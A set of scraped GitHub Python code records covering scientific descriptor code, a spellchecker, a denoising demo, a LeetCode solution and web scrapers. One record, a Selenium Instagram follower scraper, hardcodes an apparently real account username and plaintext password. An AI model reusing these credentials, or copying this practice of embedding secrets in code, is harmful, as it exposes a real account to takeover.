ffi)\r\n\r\n            errno = (\r\n                lib.calculate_sf_cos(\r\n                    cell_p,\r\n                    cart_p,\r\n                    scale_p,\r\n                    pbc_p,\r\n                    atom_indices_p,\r\n                    atom_num,\r\n                    cal_atoms_p,\r\n                    cal_num,\r\n                    self.params_set[element_index][\"ip\"],\r\n                    self.params_set[element_index][\"dp\"],\r\n                    self.params_set[element_index][\"num\"],\r\n                    x_p,\r\n                    dx_p,\r\n                )\r\n                if self.cutoff_func == \"cosine\"\r\n                else lib.calculate_sf_poly(\r\n                    cell_p,\r\n                    cart_p,\r\n                    scale_p,\r\n                    pbc_p,\r\n                    atom_indices_p,\r\n                    atom_num,\r\n                    cal_atoms_p,\r\n                    cal_num,\r\n                    self.params_set[element_index][\"ip\"],\r\n                    self.params_set[element_index][\"dp\"],\r\n                    self.params_set[element_index][\"num\"],\r\n                    x_p,\r\n                    dx_p,\r\n                    self.gamma,\r\n                )\r\n            )\r\n\r\n            if errno == 1:\r\n                raise NotImplementedError(\"Descriptor not implemented!\")\r\n            fp = np.array(x)\r\n            fp_prime = np.array(dx)\r\n            scipy_sparse_fp_prime = sparse.coo_matrix(fp_prime)\r\n\r\n            return (\r\n                size_info,\r\n                fp,\r\n                scipy_sparse_fp_prime.data,\r\n                scipy_sparse_fp_prime.row,\r\n                scipy_sparse_fp_prime.col,\r\n                np.array(fp_prime.shape),\r\n            )\r\n\r\n        else:\r\n            x = np.zeros(\r\n                [cal_num, self.params_set[element_index][\"num\"]],\r\n                dtype=np.float64,\r\n                order=\"C\",\r\n            )\r\n            x_p = _gen_2Darray_for_ffi(x, ffi)\r\n\r\n            errno = (\r\n                lib.calculate_sf_cos_noderiv(\r\n                    cell_p,\r\n                    cart_p,\r\n                    scale_p,\r\n                    pbc_p,\r\n                    atom_indices_p,\r\n                    atom_num,\r\n                    cal_atoms_p,\r\n                    cal_num,\r\n                    self.params_set[element_index][\"ip\"],\r\n                    self.params_set[element_index][\"dp\"],\r\n                    self.params_set[element_index][\"num\"],\r\n                    x_p,\r\n                )\r\n                if self.cutoff_func == \"cosine\"\r\n                else lib.calculate_sf_poly_noderiv(\r\n                    cell_p,\r\n                    cart_p,\r\n                    scale_p,\r\n                    pbc_p,\r\n                    atom_indices_p,\r\n                    atom_num,\r\n                    cal_atoms_p,\r\n                    cal_num,\r\n                    self.params_set[element_index][\"ip\"],\r\n                    self.params_set[element_index][\"dp\"],\r\n                    self.params_set[element_index][\"num\"],\r\n                    x_p,\r\n                    dx_p,\r\n                    self.gamma,\r\n                )\r\n            )\r\n\r\n            if errno == 1:\r\n                raise NotImplementedError(\"Descriptor not implemented!\")\r\n            fp = np.array(x)\r\n\r\n            return size_info, fp, None, None, None, None\r\n","repo_name":"rhjvanworkum/amptorch","sub_path":"amptorch/descriptor/Gaussian/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"34214349981","text":"from spellchecker import SpellChecker\n# Regular Expressionn\nimport re\n\nimport ListScore\n\n# Spellchecker\ndef spellchecker(text):\n    sc = SpellChecker()\n    sc.word_frequency.load_dictionary('static/spellchecker_dict.json')\n    shortenedWords = []\n\n    # Spellchecking\n    emailRegex = '^\\w+([\\.-]?\\w+)*@\\w+([\\.-]?\\w+)*(\\.\\w{2,3})+$'\n    clonedList = re.sub('[\\W+]', ' ', text)\n    clonedList = clonedList.split()\n    misspelled = sc.unknown(clonedList)\n\n    for m in misspelled:\n        if(re.search(emailRegex, m)):\n            continue\n        cleanString = re.sub('\\W+', '', m)\n        shortenedWords.append(reduce_lengthening(cleanString))\n\n    cleanList = shortenedWords.copy()\n\n    if not cleanList:\n        output = \"Your resume has no spelling errors.\"\n    else:\n        output = \"You may have misspelled the following words: \" + \\\n            '\\n' + ', '.join(cleanList)\n\n    # scoring system\n    if cleanList:\n        ListScore.list2_score[6] = False\n    else:\n        ListScore.list2_score[6] = True\n\n    return [output, cleanList]\n\n\ndef reduce_lengthening(text):\n    pattern = re.compile(r\"(.)\\1{2,}\")\n    return pattern.sub(r\"\\1\\1\", text)\n\n\n","repo_name":"Hiroshi97/CV-Analysis","sub_path":"Spellchecker.py","file_name":"Spellchecker.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"32262257491","text":"import os\nfrom time import sleep\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager as CM\n\ndef check_difference_in_count(driver):\n    global count\n\n    new_count = len(driver.find_elements_by_xpath(\"//div[@role='dialog']//li\"))\n\n    if count != new_count:\n        count = new_count\n        return True\n    else:\n        return False\n\nusername = 'osakakuma'\npassword = 'Okuma2020'\n\ndriver = webdriver.Chrome(\"C:/Users/SSY/Downloads/chromedriver_win32/chromedriver.exe\")\ndriver.get(\"https://instagram.com\")\nsleep(2)\ndriver.find_element_by_xpath(\"//input[@name=\\\"username\\\"]\").send_keys(username)\ndriver.find_element_by_xpath(\"//input[@name=\\\"password\\\"]\").send_keys(password)\ndriver.find_element_by_xpath('//button[@type=\"submit\"]').click()\nsleep(4)\nnot_now1 = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, \"//button[contains(text(), 'Not Now')]\"))).click() \nnot_now2 = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, \"//button[contains(text(), 'Not Now')]\"))).click()\ndriver.get(\"https://www.instagram.com/osakakuma/\")\ndriver.find_element_by_partial_link_text(\"follower\").click()\nxpath = \"//div[@style='position: relative; z-index: 1;']/div/div[2]/div/div[1]\"\nWebDriverWait(driver, 10).until(\nEC.presence_of_element_located((By.XPATH, xpath)))\n\nsleep(4)\ncount = 0\n\nwhile 1:\n    # scroll down\n    driver.execute_script(\"document.querySelector('div[role=dialog] ul').parentNode.scrollTop=1e100\")\n\n    try:\n        WebDriverWait(driver, 5).until(check_difference_in_count)\n        xpath = \"//div[@style='position: relative; z-index: 1;']//ul/li/div/div/div/div/a\"\n        followers_elems = driver.find_elements_by_xpath(xpath)\n\n    except:\n        break\n\nprint(e.text for e in followers_elems)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ssybanana/instascrapping","sub_path":"webdriver_test.py","file_name":"webdriver_test.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37149737237","text":"#validacao transfereencia\r\n\r\nimport os\r\n\r\ndef validar_transferencia(id_usuario, valor_transferencia):\r\n\r\n    dinheiro_usuario=open(f\"usuarios\\\\{id_usuario}\\\\dinheiro.txt\",\"r\")\r\n\r\n    dinheiro_limpo=dinheiro_usuario.readlines()\r\n\r\n    dinheiro_usuario.close()\r\n\r\n    dinheiro_limpo=float(dinheiro_limpo[0])\r\n\r\n    if not (dinheiro_limpo < valor_transferencia):\r\n\r\n        valido=True\r\n    else:\r\n\r\n        valido=False\r\n        \r\n    return valido","repo_name":"Hilster00/Projetos","sub_path":"Banco/codigo/validacoes/validacao_transferencia.py","file_name":"validacao_transferencia.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8606825111","text":"\"\"\"\nhttps://leetcode.com/problems/count-nodes-with-the-highest-score/\nRuntime: 1432 ms, faster than 76.05% of Python3 online submissions for Count Nodes With the Highest Score.\nMemory Usage: 130.2 MB, less than 31.10% of Python3 online submissions for Count Nodes With the Highest Score.\n\"\"\"\n\nclass Solution:\n    def countHighestScoreNodes(self, parents: List[int]) -> int:\n        def rec_count(node, counts):\n            sc = 0\n            for son in tree[node]:\n                sc += rec_count(son, counts)\n            counts[node] = sc\n            return sc + 1\n\n        tree = defaultdict(list)\n        for i, p in enumerate(parents):\n            if p == -1:\n                head = i\n            tree[p].append(i)\n        counts = [0] * len(parents)\n        rec_count(head, counts)\n        \n        mx = 0\n        ct_max = 0\n        for n in range(len(parents)):\n            score = 1\n            for son in tree[n]:\n                score *= counts[son] + 1\n            score *= max(len(parents) - (counts[n] + 1), 1)\n            if score > mx:\n                mx = score\n                ct_max = 1\n            elif score == mx:\n                ct_max += 1\n        return ct_max\n            \n                \n                \n                \n        \n        \n            \n            \n                \n        \n        \n            \n            \n        \n            \n            \n            \n        ","repo_name":"xcastilla/leetcode_practice","sub_path":"src/medium/2049_Count_Nodes_with_the_Highest_Score.py","file_name":"2049_Count_Nodes_with_the_Highest_Score.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72497872080","text":"# flake8: noqa\nimport numpy\nimport numpy as np\nfrom skimage.metrics import peak_signal_noise_ratio as psnr\nfrom skimage.metrics import structural_similarity as ssim\n\nfrom aydin.io.datasets import (\n    normalise,\n    add_noise,\n    newyork,\n    camera,\n    characters,\n    pollen,\n    lizard,\n    dots,\n    cropped_newyork,\n    dmel,\n)\nfrom aydin.it.classic_denoisers.tv import calibrate_denoise_tv\nfrom aydin.util.log.log import Log\n\n\ndef demo_tv(image, do_add_noise=True, display=True):\n    \"\"\"\n    Demo for self-supervised denoising using camera image with synthetic noise\n    \"\"\"\n    Log.enable_output = True\n    Log.set_log_max_depth(6)\n\n    image = normalise(image.astype(np.float32))\n    noisy = add_noise(image) if do_add_noise else image\n\n    function, parameters, memreq = calibrate_denoise_tv(noisy)\n    denoised = function(noisy, **parameters)\n\n    image = numpy.clip(image, 0, 1)\n    noisy = numpy.clip(noisy, 0, 1)\n    denoised = numpy.clip(denoised, 0, 1)\n    psnr_noisy = psnr(image, noisy)\n    ssim_noisy = ssim(image, noisy)\n    psnr_denoised = psnr(image, denoised)\n    ssim_denoised = ssim(image, denoised)\n    print(\"   noisy   :\", psnr_noisy, ssim_noisy)\n    print(\"tv denoised:\", psnr_denoised, ssim_denoised)\n\n    if display:\n        import napari\n\n        viewer = napari.Viewer()\n        viewer.add_image(image, name='image')\n        viewer.add_image(noisy, name='noisy')\n        viewer.add_image(denoised, name='denoised')\n        napari.run()\n\n    return ssim_denoised\n\n\nif __name__ == \"__main__\":\n    demo_tv(dmel(), do_add_noise=False)\n    demo_tv(cropped_newyork())\n    demo_tv(newyork())\n    demo_tv(characters())\n    demo_tv(pollen())\n    demo_tv(lizard())\n    demo_tv(dots())\n    demo_tv(camera())\n","repo_name":"royerlab/aydin","sub_path":"aydin/it/classic_denoisers/demo/demo_2D_tv.py","file_name":"demo_2D_tv.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"}
+{"seq_id":"23650351612","text":"from __future__ import annotations\n\nimport dataclasses\nimport functools\nimport time\nfrom collections.abc import Sequence, Iterator\n\nimport numpy as np\nimport sympy\n\nx = sympy.symbols('x')\n\n\n\"\"\"\nOptimise to not need to calc the rest of the binomial series when the number of hits \nensures that chance to kill is 1\n\"\"\"\n\n\n@dataclasses.dataclass(frozen=True)\nclass Player:\n    hp: int\n    expr: sympy.Poly\n    hit_chance: sympy.Rational\n    initiative_mod: int\n\n    @classmethod\n    def from_coeffs(cls, hp, coeffs, hit_chance, initiative_mod) -> 'Player':\n        return cls(hp, to_expr(coeffs), hit_chance, initiative_mod)\n\n\ndef get_combined_dice(dice: dict[int, int]) -> list[int]:\n    \"\"\"\n    :param dice: dictionary of 'sides', 'number' pairs for kinds of dice\n    :return: list where one-indexed index represents relative probability of getting that much damage\n    \"\"\"\n    total = 1  # total pgf\n    for sides, n in dice.items():\n        # mul the pgf of this dice type\n        total *= sum(x ** i for i in range(1, sides + 1)) ** n\n\n    # sympy returns coeffs with the highest power first\n    # get coeffs starting with low powers first, and remove the coeff of x^0 (which will be 0)\n    coefficients = sympy.Poly(total).all_coeffs()[-2::-1]\n    return coefficients\n\n\ndef to_expr(coefficients: Sequence[int]) -> sympy.Poly:\n    s = sum(coefficients)\n    return sympy.Poly(sympy.Rational(1, s) * sum(c * x ** i for i, c in enumerate(coefficients, 1)))\n\n\ncache = {}\n\n\ndef damage_probabilities(expr: sympy.Poly, hits: int) -> sympy.Poly:\n    # turn should not be <= 0\n    if expr not in cache:\n        cache[expr] = [expr]\n    for _ in range(len(cache[expr]), hits):\n        cache[expr].append(cache[expr][-1] * expr)\n    return cache[expr][hits - 1]\n\n\n@functools.cache\ndef win_by(expr: sympy.Poly, n: int, hits: int) -> sympy.Rational | int:\n    if hits >= n:\n        return 1\n    if hits == 0:\n        return 0\n    return sum(damage_probabilities(expr, hits).all_coeffs()[:-n])\n\n\ndef win_on(expr: sympy.Poly, n: int, t: int) -> sympy.Rational | int:\n    return win_by(expr, n, t) - win_by(expr, n, t - 1)\n\n\ndef binomial_distribution(n: int, p: sympy.Rational) -> Iterator[sympy.Rational]:\n    \"\"\"Generates binomial distribution for N=0 to N=N\"\"\"\n    v = (1 - p) ** n\n    mod = p / (1 - p)\n    yield v\n    for i in range(0, n):\n        v *= mod\n        v *= n - i\n        v /= i + 1\n        yield v\n\n\n@functools.cache\ndef win_by_can_miss(p: Player, hp: int, turns: int) -> sympy.Rational | int:\n    if p.hit_chance == 1:\n        return win_by(p.expr, hp, turns)\n\n    # sum the binomial probability of hitting some number of times * chance of winning by that number of hits\n    # once enough hits that its enough to confirm win, the second term above will always be 1 for rest of terms\n    # just sum the rest of the binomial probability\n    # (taking advantage of fact that binomial probability sums to 1)\n    left_binom = 1\n    total_win = 0\n    t = 0\n    for binom in binomial_distribution(turns, p.hit_chance):\n        w_b = win_by(p.expr, hp, t)\n        if w_b == 1:\n            break\n        left_binom -= binom\n        total_win += w_b * binom\n        t += 1\n    return total_win + left_binom\n\n\ndef win_chances(a: Player, b: Player, turns: int | None = None, exact: bool = True\n                ) -> tuple[sympy.Rational, sympy.Rational, sympy.Rational]:\n    \"\"\"\n    Given two players, returns chances of the first player winning, the second player winning,\n    or a draw (simultaneous elimination or no elimination).\n    \"\"\"\n\n    min_turns = min((b.hp - 1) // a.expr.degree(x), (a.hp - 1) // b.expr.degree(x)) + 1\n    if turns < min_turns:\n        return sympy.Rational(0, 1), sympy.Rational(0, 1), sympy.Rational(1, 1)\n    if a.hit_chance == b.hit_chance == 1:\n        # case: all attacks hit\n        # we can get exact numbers just by simulating up to min(a.hp, b.hp) + 1 turns,\n        # when the fight is guaranteed to be over\n        max_turns = min(a.hp, b.hp) + 1\n        a_wins_by = np.fromiter((win_by(a.expr, b.hp, t) for t in range(min_turns, max_turns)),\n                                sympy.Rational if exact else float, max_turns - min_turns)\n        b_wins_by = np.fromiter((win_by(b.expr, a.hp, t) for t in range(min_turns, max_turns)),\n                                sympy.Rational if exact else float, max_turns - min_turns)\n    elif turns is None:\n        raise ValueError('turns must be provided when hit chances are not 1')\n    else:\n        # when attacks have a hit chance, the battle could theoretically go on forever\n        # we calculate up to a given number of turns\n        a_wins_by = np.fromiter((win_by_can_miss(a, b.hp, t) for t in range(min_turns, turns)),\n                                sympy.Rational if exact else float, turns - min_turns)\n        b_wins_by = np.fromiter((win_by_can_miss(b, a.hp, t) for t in range(min_turns, turns)),\n                                sympy.Rational if exact else float, turns - min_turns)\n    # chance of winning on turn n = chance of winning by turn n - chance of winning by turn n-1\n    a_wins = np.ediff1d(a_wins_by, to_begin=a_wins_by[0])\n    b_wins = np.ediff1d(b_wins_by, to_begin=b_wins_by[0])\n\n    # chance of a player winning each turn:\n    # chance they defeat other on that turn * chance that they have not been defeated\n    # chance of simultaneous elimination each turn: chance each defeats other multiplied together\n    return (np.sum(a_wins * (1 - b_wins_by)),  # type: ignore\n            np.sum(b_wins * (1 - a_wins_by)),\n            np.sum(a_wins * b_wins))\n\n\ndef win_chances_initiative(a: Player, b: Player, turns: int) -> tuple[sympy.Rational, sympy.Rational]:\n    # initiative calc\n    diff = a.initiative_mod - b.initiative_mod\n    # ip: initiative probability\n    # how it works: each roll a d20, then add their initiative_mod\n    # if equal, roll again\n    # this can be modelled as chances of the difference between d20s being less than the difference in modifiers\n    # difference between 2 independent d20s is a pyramid with linear sides, peak at 0\n    if diff >= 20:\n        ipa = 1\n        ipb = 0\n    elif diff <= -20:\n        ipa = 0\n        ipb = 1\n    elif diff > 0:\n        # calc chance of Player a winning and normalise to 1, since ignoring equal case\n        # calc: (20 - d)(19 - d)/800 * (380 + d)/400 where d is absolute difference\n        ipb = sympy.Rational((20 - diff) * (19 - diff), 380 + diff) / 2\n        ipa = 1 - ipb\n    else:\n        ipa = sympy.Rational((20 + diff) * (19 + diff), 380 - diff) / 2\n        ipb = 1 - ipa\n\n    # first to attack wins in case of simultaneous elimination\n    a_w, b_w, d = win_chances(a, b, turns)\n    return a_w + ipa * d, b_w + ipb * d\n\n\ndef expected_var(p: Player, hp: int, turns: int | None = None, exact: bool = True\n                 ) -> tuple[sympy.Rational, sympy.Rational]:\n    min_turns = (hp - 1) // p.expr.degree(x) + 1\n\n    if p.hit_chance == 1:\n        turns = hp + 1\n        wins_by = np.fromiter((win_by(p.expr, hp, t) for t in range(min_turns, turns)),\n                              sympy.Rational if exact else float, turns - min_turns)\n    elif turns is None:\n        raise ValueError('turns must be provided when hit chances are not 1')\n    else:\n        wins_by = np.fromiter((win_by_can_miss(p, hp, t) for t in range(min_turns, turns)),\n                              sympy.Rational if exact else float, turns - min_turns)\n\n    wins = np.ediff1d(wins_by, to_begin=wins_by[0])\n    exp = np.arange(min_turns, turns) * wins\n    return np.sum(exp), np.sum(exp * wins)  # type: ignore\n","repo_name":"notmeegoreng/ARP","sub_path":"old_versions/v5.py","file_name":"v5.py","file_ext":"py","file_size_in_byte":7561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33398658756","text":"\"\"\"Grid updating tests.\"\"\"\n\nimport math, os\n\nfrom Definitions           import dataPath\nfrom pBabel                import CHARMMParameterFileReader  , \\\n                                  ImportCoordinates3         , \\\n                                  ImportSystem\nfrom pCore                 import CPUTime                    , \\\n                                  logFile                    , \\\n                                  TestScriptExit_Fail\nfrom pMolecule.MMModel     import MMModelOPLS\nfrom pMolecule.NBModel     import NBModelCutOff\nfrom pScientific.Geometry3 import PairListGenerator\nfrom pScientific.Symmetry  import CrystalSystemCubic         , \\\n                                  PeriodicBoundaryConditions\n\n#===================================================================================================================================\n# . Test system.\n#===================================================================================================================================\nclass GridUpdatingTestSystem:\n    \"\"\"Grid updating test system.\"\"\"\n\n    def __init__ ( self, **options ):\n        \"\"\"Constructor.\"\"\"\n        self.__dict__.update ( options )\n\n    def GetSystem ( self, log = logFile ):\n        \"\"\"Get the system.\"\"\"\n        if self.setUpType == \"CHARMM\":\n            parameters = CHARMMParameterFileReader.PathsToParameters ( self.parameterFiles, log = log )\n            system     = ImportSystem ( self.setUpFile, isXPLOR = True, log = log, parameters = parameters )\n        else:\n            system     = ImportSystem ( self.setUpFile )\n        if self.xyzFile is not None: system.coordinates3 = ImportCoordinates3 ( self.xyzFile )\n        if self.mmModel is not None: system.DefineMMModel ( self.mmModel )\n        if self.hasSymmetry:\n            system.symmetry           = PeriodicBoundaryConditions.WithCrystalSystem ( CrystalSystemCubic ( ) )\n            system.symmetryParameters = system.symmetry.MakeSymmetryParameters ( a = self.a )\n        system.label = self.label\n        system.Summary ( log = log )\n        return system\n\n#===================================================================================================================================\n# . Test systems.\n#===================================================================================================================================\n# . Test system definitions.\ndataPath = os.path.join ( dataPath, \"gridUpdating\" )\ntestSystemDefinitions = ( { \"hasSymmetry\"    : False     ,\n                            \"label\"          : \"Crambin\" ,\n                            \"mmModel\"        : MMModelOPLS.WithParameterSet ( \"protein\" ) ,\n                            \"setUpFile\"      : os.path.join ( dataPath, \"crambin.mol\" ) ,\n                            \"setUpType\"      : \"MOL\" ,\n                            \"xyzFile\"        : None  },\n                          { \"a\"              : 40.0 ,\n                            \"hasSymmetry\"    : True ,\n                            \"label\"          : \"Water Box 40x40x40\" ,\n                            \"mmModel\"        : MMModelOPLS.WithParameterSet ( \"protein\" ) ,\n                            \"setUpFile\"      : os.path.join ( dataPath, \"waterBox40x40x40.mol2\" ) ,\n                            \"setUpType\"      : \"MOL2\" ,\n                            \"xyzFile\"        : None   },\n                          { \"a\"              : 62.23 ,\n                            \"hasSymmetry\"    : True  ,\n                            \"label\"          : \"DHFR Benchmark\" ,\n                            \"mmModel\"        : None ,\n                            \"parameterFiles\" : [ os.path.join ( dataPath, \"par_all22_prot.inp\" ) ] ,\n                            \"setUpFile\"      : os.path.join ( dataPath, \"dhfr.psfx\" ) ,\n                            \"setUpType\"      : \"CHARMM\" ,\n                            \"xyzFile\"        : os.path.join ( dataPath, \"dhfr.xyz\" ) } )\n\n# . Define the test systems.\ntestSystems = []\nfor options in testSystemDefinitions:\n    testSystems.append ( GridUpdatingTestSystem ( **options ) ) \n\n#===================================================================================================================================\n# . Script.\n#===================================================================================================================================\n# . Header.\nlogFile.Header ( )\n\n# . Set up the generators.\n_Values = 11\ngenerators = [ ( \"Direct\" , PairListGenerator ( cutOff = 13.5, minimumPoints = 100000 ) ) ]\nfor i in range ( _Values ):\n    s = float ( i + 1 ) * 0.25\n    generators.append ( ( \"CC {:6.3f}\".format ( s ), PairListGenerator ( cutOff = 13.5, cutOffCellSizeFactor = s, minimumCellExtent = 0, minimumPoints = 100, sortIndices = False, useGridByCell = True ) ) )\nfor i in range ( _Values ):\n    s = float ( i + 1 ) * 0.25\n    generators.append ( ( \"PC {:6.3f}\".format ( s ), PairListGenerator ( cutOff = 13.5, cutOffCellSizeFactor = s, minimumCellExtent = 0, minimumPoints = 100, sortIndices = False, useGridByCell = False ) ) )\n\n# . Loop over test systems.\nnumberEnergyFailures = 0\nfor testSystem in testSystems:\n\n    # . Get the system.\n    system = testSystem.GetSystem ( )\n\n    # . Energies.\n    energies = []\n    for ( label, generator ) in generators:\n        nbModel = NBModelCutOff.WithOptions ( generator = generator )\n        nbModel.Summary ( )\n        system.DefineNBModel ( nbModel )\n        cpuTime = CPUTime ( )\n        e = system.Energy  ( doGradients = True )\n        c = cpuTime.CurrentAsString ( )\n        energies.append ( ( e, c, label ) )\n        system.nbModel.StatisticsSummary ( system )\n\n    # . Print summary of results.\n    e0 = energies[0][0]\n    n  = 0\n    table = logFile.GetTable ( columns = [ 6, 10, 16, 16, 16, 20 ] )\n    table.Start  ( )\n    table.Title  ( \"Energies and CPU Times for {:s}:\".format ( system.label ) )\n    for ( i, ( e, c, l ) ) in enumerate ( energies ):\n        deltaE = math.fabs ( e - e0 )\n        if deltaE > 1.0e-2: n += 1\n        table.Entry ( \"{:d}\".format ( i ) )\n        table.Entry (  l  )\n        table.Entry ( \"{:15.3f}\".format ( e      ) )\n        table.Entry ( \"{:15.3f}\".format ( e0     ) )\n        table.Entry ( \"{:15.3f}\".format ( deltaE ) )\n        table.Entry ( \"    {:s}\".format ( c      ) )\n    table.Stop ( )\n    if n == 0: logFile.Paragraph ( \"All tests were successful.\"      )\n    else:      logFile.Paragraph ( \"{:d} tests failed.\".format ( n ) )\n    numberEnergyFailures += n\n\n# . Footer.\nlogFile.Footer ( )\nif numberEnergyFailures != 0: TestScriptExit_Fail ( )\n","repo_name":"pdynamo/pDynamo3","sub_path":"examples/pMolecule/GridUpdating.py","file_name":"GridUpdating.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"40444398125","text":"from urllib.request import urlopen as uReq\nfrom bs4 import BeautifulSoup as soup\n\nweightNames = [\"Minimum Trail Weight\", \"Fly / Footprint Pitch Weight\", \"Packaged Weight\"]\nareaNames   = [\"Floor Area\"]\n\ntentParamNames = [\"Minimum Trail Weight\", \"Fly / Footprint Pitch Weight\", \"Packaged Weight\", \"Floor Area\"]\n\n\n# the real best way to do this - at the top define all the parameters we care about \n# and then for each tent look for those, if not present enter -1 or something \n\n#%%\n'''\ndef addItemToDict(d, key, val):\n    if key not in d:\n        d[key] = [val]\n'''        \n        \ndef initializeDict(pageSoupTent):\n    techSpecContainer = pageSoupTent.findAll(\"script\", {\"data-client-store\":\"product-details\"})\n    tentSpecsText = techSpecContainer[0].string\n    \n    startSpecs = tentSpecsText.find(\"specs\") + 7\n    nearEndSpecs = tentSpecsText.find(\"Design Type\")\n    endSpecs = tentSpecsText[nearEndSpecs: ].find(\",\\n\") + nearEndSpecs\n    \n    tentTextMod = tentSpecsText[startSpecs:endSpecs]\n    compDict = eval(tentTextMod)\n    allTentsInfo = dict()\n    for tentParam in compDict:\n        paramName = tentParam[\"name\"]\n        allTentsInfo[paramName] = []\n        \n    allTentsInfo[\"Current Price\"] = []\n    allTentsInfo[\"Original Price\"] = []\n    allTentsInfo[\"Tent Name\"] = []\n        \n    return(allTentsInfo)\n\n\ndef priceDetails(pageSoupTent, allTentsInfo):\n    techPriceContainer = pageSoupTent.findAll(\"script\", {\"data-client-store\":\"product-price-data\"})\n    tentPriceText = techPriceContainer[0].string\n    \n    tentPriceTextSplit = tentPriceText.split(\"compareAt\")[1]\n    startPrice = tentPriceTextSplit.find(\" \") + 1\n    endPrice   = tentPriceTextSplit.find(\"\\n\") - 1\n    ogPrice = tentPriceTextSplit[startPrice:endPrice]\n    \n    tentPriceTextSplit = tentPriceText.split(\"min\")[1]\n    startPrice = tentPriceTextSplit.find(\" \") + 1\n    endPrice   = tentPriceTextSplit.find(\"\\n\") - 1\n    curPrice = tentPriceTextSplit[startPrice:endPrice]\n    \n    #tentInfoDict[\"Current Price\"] = float(curPrice)\n    #tentInfoDict[\"Original Price\"] = float(ogPrice)\n    allTentsInfo[\"Current Price\"].append(float(curPrice))\n    allTentsInfo[\"Original Price\"].append(float(ogPrice))\n    \n\n\ndef specsDetails(pageSoupTent, allTentsInfo):\n    techSpecContainer = pageSoupTent.findAll(\"script\", {\"data-client-store\":\"product-details\"})\n    tentSpecsText = techSpecContainer[0].string\n    \n    startSpecs = tentSpecsText.find(\"specs\") + 7\n    nearEndSpecs = tentSpecsText.find(\"Design Type\")\n    endSpecs = tentSpecsText[nearEndSpecs: ].find(\",\\n\") + nearEndSpecs\n    \n    tentTextMod = tentSpecsText[startSpecs:endSpecs]\n    compDict = eval(tentTextMod)\n    #tentInfo = dict()\n    for tentParam in compDict:\n        paramName = tentParam[\"name\"]\n        paramValue = tentParam[\"values\"][0]\n\n        \n        if (paramName in weightNames):\n            poundsStart = paramValue.find(\"pound\")\n            if poundsStart != -1:\n                pounds = paramValue[ : poundsStart]\n                paramValue = float(pounds)\n                \n            else:\n                lbsStart = paramValue.find(\"lbs\")\n                lbs = float(paramValue[:lbsStart])\n                oz =  float(paramValue[lbsStart + 4: -3])\n                paramValue = lbs + oz / 16\n                \n        if (paramName in areaNames):\n            squareStart = paramValue.find(\"square\")\n            squares = paramValue[0:squareStart]\n            paramValue = float(squares)\n            \n        #tentInfoDict[paramName] = paramValue\n        if paramName in allTentsInfo:\n            allTentsInfo[paramName].append(paramValue)\n        \n    #return tentInfo\n            \ndef specsDetails_2(pageSoupTent, allTentsInfo):\n    techSpecContainer = pageSoupTent.findAll(\"script\", {\"data-client-store\":\"product-details\"})\n    tentSpecsText = techSpecContainer[0].string\n    \n    startSpecs = tentSpecsText.find(\"specs\") + 7\n    nearEndSpecs = tentSpecsText.find(\"Design Type\")\n    endSpecs = tentSpecsText[nearEndSpecs: ].find(\",\\n\") + nearEndSpecs\n    \n    tentTextMod = tentSpecsText[startSpecs:endSpecs]\n    \n    for tentParam in tentParamNames: \n        tentParamInd = tentTextMod.find(tentParam)\n    \n    \n    compDict = eval(tentTextMod)\n    #tentInfo = dict()    \n    \n    paramsFilled = [0] * len(tentParamNames)\n    \n    \n    \n    for tentParam in compDict:\n        paramName = tentParam[\"name\"]\n        paramValue = tentParam[\"values\"][0]\n        \n        \n        if paramName not in tentParamNames:\n            continue\n        \n        if (paramName in weightNames):\n            poundsStart = paramValue.find(\"pound\")\n            if poundsStart != -1:\n                pounds = paramValue[ : poundsStart]\n                paramValue = float(pounds)\n                \n            else:\n                lbsStart = paramValue.find(\"lbs\")\n                lbs = float(paramValue[:lbsStart])\n                oz =  float(paramValue[lbsStart + 4: -3])\n                paramValue = lbs + oz / 16\n                \n        if (paramName in areaNames):\n            squareStart = paramValue.find(\"square\")\n            squares = paramValue[0:squareStart]\n            paramValue = float(squares)\n            \n        #tentInfoDict[paramName] = paramValue\n        if paramName in allTentsInfo:\n            allTentsInfo[paramName].append(paramValue)\n        \n    #return tentInfo\n\ndef nameAndHTML(container):\n    urlAddition = container.a[\"href\"]\n    tentUrl = reiUrl + urlAddition\n\n    uClientTent = uReq(tentUrl)\n    htmlTent = uClientTent.read()\n    uClientTent.close()\n\n    pageSoupTent = soup(htmlTent, \"html.parser\")\n    \n    tentNameStart = urlAddition.rfind(\"/\") + 1\n    tentName = urlAddition[tentNameStart:]\n    tentName = tentName.replace(\"-\", \" \")\n    \n    uClientTent = uReq(tentUrl)\n    htmlTent = uClientTent.read()\n    uClientTent.close()\n    pageSoupTent = soup(htmlTent, \"html.parser\")\n    \n    #tentInfoDict[\"Tent Name\"] = tentName\n    return(tentName, pageSoupTent)\n\n\n#%%\nallTentsUrl = 